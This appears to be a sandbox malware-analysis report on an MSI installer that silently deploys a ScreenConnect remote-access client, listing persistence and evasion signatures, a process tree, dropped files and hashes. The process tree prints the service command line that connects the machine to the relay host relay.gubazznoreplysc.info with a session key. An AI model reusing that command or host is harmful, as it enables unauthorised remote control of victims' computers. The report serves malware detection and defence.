Analysis

  • max time kernel
    899s
  • max time network
    878s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 19:09

General

  • Target
    e58ac3c.msi
  • Size 13.0MB
  • Sample260721-xt7q8aed66
  • SHA256 6aba72d89fdc0cf61e5b51cb1cd05ab32861d71433581ff8dab81c594f473928
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\e58ac3c.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5616
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9091AA65081D7B20B4F2BD2BA966B93A C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240742140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2872
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3568
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3B7BB125302D2D77D329C9C8341DC392
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1212
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AF4444E797E2D8270EA67170C8AAF669 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5672
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1276
    • C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.gubazznoreplysc.info&p=8041&s=a843c214-9daf-452d-b103-e3602de9c948&k=BgIAAACkAABSU0ExAAgAAAEAAQApGFTXb5jbdUd7Ax3JNmivLrc9aSC2QyvlcoUcN%2bNF0ExAmJvTQUCcWpMiShWf8VXONokjLCJoe49xxi89rRllVn%2bb5NdbJFjRO0VwF02hj2aHGMUG%2fiXSeUBOKC7VeKbt%2b6%2bicKEBZyE6KcgWSHAtejQhyHVlBqGzqaih0wVZLMFKBjvaWr0%2bgH%2f77xiCOJfPkhP%2bpMhvIPnCsEAmyba7Km3IGQ6SE4jOvj9p%2bQvESqwbR0MBoKLxuRx7%2fEpVrQZUoiqDEWAeSroeBTd3ZxsmPcuKI2JKxsY2BmiPxP5im20MfNa70TdC26LMFkULHUPa0OcgAROhJTYfU5WtvkS%2f"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5900
      • C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe" "RunRole" "ce1d836d-c9a2-4b5b-b331-dbd3be57ff53" "User"
        2⤵
        • Executes dropped EXE
        PID:4440
      • C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe" "RunRole" "482b79f4-35fe-4947-9bc6-de9218e0bd55" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5376
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5124
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3576
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5632
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5940
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:1620

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              e59bdd9.rbs

              • Path C:\Config.Msi\e59bdd9.rbs
              • Size 214KB
              • SHA256 e1c66be773bf5877f459be001c8745bebd74b4cc2cd8d3dbea6c662dcfa37778
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.Override.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\Client.Override.en-US.resources
              • Size 316B
              • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
              • MD5 SHA1 SHA512 TLSH

              Client.Override.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\Client.Override.resources
              • Size 49KB
              • SHA256 67b12ea7017e507e1bb6f347cda75bc52ad3360402562cd53159059fc849902f
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.en-US.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\Client.en-US.resources
              • Size 48KB
              • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Client.resources

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\Client.resources
              • Size 28KB
              • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Client.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.ClientService.dll
              • Size 66KB
              • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.ClientService.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsAuthenticationPackage.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe
              • Size 593KB
              • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.WindowsClient.exe.config

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH

              ScreenConnect.WindowsCredentialProvider.dll

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              app.config

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\app.config
              • Size 2KB
              • SHA256 298bce2730d66b27cf8f2708d8ff8d0d341841d666abeef5db944637e98a6352
              • MD5 SHA1 SHA512 TLSH

              system.config

              • Path C:\Program Files (x86)\ScreenConnect Client (62088c069fe0f1c2)\system.config
              • Size 954B
              • SHA256 553ed83b267810fe899faa0f086567afef606055220bc0d1b92a543546c899a3
              • MD5 SHA1 SHA512 TLSH

              prep_Activatable Class_Hermes_perf.cache

              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 595B
              • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
              • MD5 SHA1 SHA512 TLSH

              MSI6DB4.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp
              • Size 1.0MB
              • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Microsoft.Deployment.WindowsInstaller.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Core.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp-\ScreenConnect.Core.dll
              • Size 538KB
              • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.InstallerActions.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ScreenConnect.Windows.dll

              • Path C:\Users\Admin\AppData\Local\Temp\MSI6DB4.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSIC5C8.tmp

              • Path C:\Windows\Installer\MSIC5C8.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH

              e59bdd8.msi

              • Path C:\Windows\Installer\e59bdd8.msi
              • Size 13.0MB
              • SHA256 6aba72d89fdc0cf61e5b51cb1cd05ab32861d71433581ff8dab81c594f473928
              • MD5 SHA1 SHA512 SSDEEP TLSH

              metadata-2

              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              • Size 26.1MB
              • SHA256 d179edf1703749ac8495f567806741ad27f3f04c0c944d31ee737d7d8149b32d
              • MD5 SHA1 SHA512 SSDEEP TLSH

              {5def03bf-6e94-46aa-ad3c-ca203a2a3042}_OnDiskSnapshotProp

              • Path \??\Volume{ca73a981-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5def03bf-6e94-46aa-ad3c-ca203a2a3042}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 19ea2cbd080fba71afbeb9195c1331f2926b182d0664ae18fb1f078cc79c55ee
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/2872-31-0x0000000006710000-0x0000000006CCA000-memory.dmp

              memory/2872-30-0x0000000005FA0000-0x000000000614C000-memory.dmp

              memory/2872-26-0x0000000003CD0000-0x0000000003D5C000-memory.dmp

              memory/2872-22-0x0000000003C00000-0x0000000003C0A000-memory.dmp

              memory/2872-18-0x0000000003BD0000-0x0000000003BFE000-memory.dmp

              memory/4440-116-0x0000000000290000-0x0000000000328000-memory.dmp

              memory/4440-122-0x0000000002520000-0x0000000002538000-memory.dmp

              memory/4440-121-0x0000000002460000-0x0000000002478000-memory.dmp

              memory/4440-117-0x00000000024C0000-0x00000000024F6000-memory.dmp

              memory/4440-120-0x000000001B6A0000-0x000000001B828000-memory.dmp

              memory/4440-118-0x000000001B2B0000-0x000000001B33C000-memory.dmp

              memory/4440-119-0x000000001B4F0000-0x000000001B69C000-memory.dmp

              memory/5632-151-0x000002C9801E0000-0x000002C9802E0000-memory.dmp

              memory/5632-196-0x000002C9942A0000-0x000002C9942C0000-memory.dmp

              memory/5632-182-0x000002C981E30000-0x000002C981E50000-memory.dmp

              memory/5632-162-0x000002C981E70000-0x000002C981F70000-memory.dmp

              memory/5632-159-0x000002C981CB0000-0x000002C981CD0000-memory.dmp

              memory/5900-106-0x0000000004A70000-0x0000000004B45000-memory.dmp

              memory/5900-102-0x0000000004880000-0x0000000004912000-memory.dmp

              memory/5900-101-0x0000000004580000-0x00000000045B6000-memory.dmp

              memory/5900-104-0x00000000045C0000-0x0000000004601000-memory.dmp

              memory/5900-97-0x0000000004530000-0x0000000004580000-memory.dmp

              memory/5900-75-0x0000000001D80000-0x0000000001D98000-memory.dmp